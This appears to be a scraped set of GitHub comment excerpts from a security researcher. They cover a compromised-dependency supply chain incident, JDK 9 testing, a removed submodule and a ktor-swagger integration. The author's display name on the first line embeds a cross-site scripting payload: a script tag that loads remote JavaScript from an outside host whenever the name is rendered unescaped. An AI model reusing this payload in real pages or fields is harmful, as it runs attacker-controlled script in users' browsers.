Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

You can test on travis under JDK 9. Example: https://github.com/gradle/kotlin-dsl/pull/455/files#diff-354f30a63fb0907d4ad57269548329e3R13

Just following this up, this whole incident is now captured in this awesome blog writeup by @zsmb13. Nice work! https://blog.autsoft.hu/a-confusing-dependency/ Scary to see that these sorts of supply chain attacks...

> So any one pulling these dependencies/versions between July 2017 and December 2018 has used/shipped hacked dependency with malicious code @paulvi I believe that that is indeed an accurate read...

> Note that this deletes the freetype submodule! > > > Submodule [freetype](https://github.com/freetype/freetype) deleted from 3f83da > > Besides this and the GWT changes, this looks good to me. This...

> especially those that villy nilly deleted modules and do not check if their PRs are even meaningful or build? This is not the intention. This is a case we've...

If you'd like a bit more about my rationale behind this approach, I've written that up here: https://github.com/JLLeitschuh/security-research/issues/11

Some of the concerns that I have with this code base as it is is that it generates all of the schemas from kotlin data classes and expects that some...

I'm looking for some feedback from @cy6erGn0m or @orangy before I proceed with a PR. This will require quite a bit of work to integrate this into the ktor repository...

@orangefiredragon It's currently released here: https://github.com/nielsfalk/ktor-swagger I'd love to integrate it officially. Currently the project is 90% developed for my own use case at my company. The API is also...

There hasn't been any discussion about this with me or anyone else from the JB team about integrating this.